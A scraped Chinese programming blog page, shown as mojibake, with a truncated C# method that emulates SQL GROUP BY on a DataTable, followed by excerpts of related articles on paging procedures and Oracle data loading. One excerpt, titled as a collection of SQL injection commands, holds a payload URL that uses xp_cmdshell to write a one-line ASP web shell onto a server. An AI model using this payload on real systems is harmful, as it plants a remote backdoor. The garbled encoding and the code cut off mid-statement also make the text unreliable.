ÀàËÆSQL µÄGroup by¹¦ÄÜ
×î½ü×öÁ˼¸¸öССͳ¼ÆµÄ±¨±í½çÃæ£¬ÓÉÓÚ.net²»´øgroup by µÄ¹¦ÄÜ£¬Í³¼ÆÆðÀ´ÓÐʱºòÏ൱²»±ã£¬±ã³Ã×Å˯×ŵÄʱºòдÁËÒ»¸öÀàËÆµÄ·½·¨¡£
Óв»×ãÖ®´¦»òÊÇÓиüºÃµÄ·½·¨»¹Íû´ó¼ÒÖ¸Õý¡£
ÖÁÓÚЧÂÊÈçºÎ£¿Î´Öª£¬ÒòΪ±¾È˵IJâÊÔÊý¾Ý¾ÍÊDZȽÏÉÙ¡£
/// <summary>
/// SQL Group by
/// </summary>
/// <param name="dtSource">Êý¾ÝÔ´</param>
/// <param name="arrType">ͳ¼ÆÀàÐÍ£ºcount¡¢sum¡¢avg¡¢max¡¢min</param>
/// <param name="arrField">ÓëÇ°ÃæÀàÐÍÒ»Ò»¶ÔÓ¦µÄ×Ö¶Î</param>
/// <param name="strGroupby">Groupby×Ö¶Î,¿ÉÒÔ¶à¸ö£¬²¢ÓöººÅ¸ô¿ª</param>
/// <returns></returns>
public static DataTable DataTableGroupBy(DataTable dtSource, string[] arrType, string[] arrField, string strGroupby)
{
if (strGroupby == null || strGroupby == string.Empty)
{
strGroupby = "PublicColumn";
dtSource.Columns.Add(strGroupby);//ÎÞÌõ¼þÈ«¾Öͳ¼Æ
}
//´´½¨Ò»¸öÓëÊý¾ÝÔ´Ïàͬ½á¹¹µÄ±íÓÃÓÚ½ÓÊÕͳ¼ÆºóµÄÊý¾Ý
DataTable dt = dtSource.Clone();
//group by(»òdistinct) ²Ù×÷¹ýÂ˵ôÏàͬÏî
DataView dv = dtSource.Copy().DefaultView.ToTable(true, strGroupby).DefaultView;
string[] arrRow = strGroupby.Split(',');
foreach (DataRowView drv in dv)
{
strGroupby = string.Empty;
DataRow dr = dt.NewRow();
for (int i = 0; i < arrRow.Length; i++)
{
//¹ýÂËÌõ¼þ
strGroupby += arrRow[i] + (drv[arrRow[i]].ToString() == string.Empty ? " is null " : "='" + drv[arrRow[i]] + "'") + " and ";
dr[arrRow[i]] = drv[arrRow[i]];
}
strGroupby += "1=1";
//¶Ôÿ¸ö×ֶνøÐв»Í¬·½Ê½µÄͳ¼Æ
for (int i = 0; i < arrType.Length; i++)
{
dr[arrField[i]] = dtSource.Compute(arrType[i]
Ïà¹ØÎĵµ£º
create PROCEDURE pagelist
@tablename nvarchar(50),
@fieldname nvarchar(50)='*',
@pagesize int output,--ÿҳÏÔʾ¼Ç¼ÌõÊý
@currentpage int output,--µÚ¼¸Ò³
@orderid nvarchar(50),--Ö÷¼üÅÅÐò
@sort int,--ÅÅÐò·½Ê½£¬1±íʾÉýÐò£¬0±íʾ½µÐòÅÅÁÐ
......
×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢ ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......
ʵÏÖСÊý¾ÝÁ¿ºÍº£Á¿Êý¾ÝµÄͨÓ÷ÖÒ³ÏÔʾ´æ´¢¹ý³Ì
¡¡¡¡½¨Á¢Ò»¸ö Web Ó¦Ó㬷ÖÒ³ä¯ÀÀ¹¦Äܱز»¿ÉÉÙ¡£Õâ¸öÎÊÌâÊÇÊý¾Ý¿â´¦ÀíÖÐÊ®·Ö³£¼ûµÄÎÊÌâ¡£¾µäµÄÊý¾Ý·ÖÒ³·½·¨ÊÇ:ADO ¼Í¼¼¯·ÖÒ³·¨£¬Ò²¾ÍÊÇÀûÓÃADO×Ô´øµÄ·ÖÒ³¹¦ÄÜ£¨ÀûÓÃÓα꣩À´ÊµÏÖ·ÖÒ³¡£µ«ÕâÖÖ·ÖÒ³·½·¨½öÊÊÓÃÓÚ½ÏСÊý¾ÝÁ¿µÄÇéÐΣ¬ÒòΪÓα걾ÉíÓÐȱµã£ºÓαêÊÇ´æ·ÅÔÚÄÚ´æÖУ¬ ......
Ò»¶Îʱ¼äÀ´£¬Ã¿ÌìµÄ¹¤×÷¶¼±È½ÏÔÓ£¬vb,asp,c#,sql£¬Ã¿Ï×÷¶¼Òª¸ã£¬ÊµÔÚÊÇÀÛ£¡¹¤×÷Ö®Ó࣬ÏëÏ빫˾ºÍ¹¤×÷µÄÇé¿ö£¬¿´À´ÊÇÓбØÒª»»¸ö»·¾³ÁË¡£²»¹ýÒ²ÒªÏȰÑĿǰµÄ¹¤×÷´¦ÀíÍê³É°¡¡£
×î½üÓÖÓöµ½Ò»¸öÎÊÌ⣺һ¼Ò¿Í»§Ê¹ÓÃÖеÄÊý¾Ý¿â£¬ÈÕÖ¾ÎļþÒì³£Ôö´ó£¬Æ½¾ùÿÌìÔö¼Ó´óÔ¼Ò»¸öG£¬¶øÊý¾ÝÎļþ±ä» ......
Ò».Îı¾µ¼ÈëÊý¾Ý¿â
--²½Öè1.´´½¨¿ØÖÆÎļþ
load data¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ --1¡¢¿ØÖÆÎļþ±êʶ
infile 'E:\oradata\orcl\test\inf_user.txt'¡¡¡¡¡¡¡¡¡¡¡¡¡¡ --2¡¢ÒªÊäÈëµÄÊý¾ÝÎļþÃûΪinf_user.txt (Îļþȱʡ·Åµ½C:\ Ï£¬Èç¹û²»ÊÇ£¬¾ÍÐèÒªÖ¸Ã÷ȫ·¾¶)
append into table inf_user¡¡¡¡¡¡¡¡--3¡¢Ïò±ítestÖÐ× ......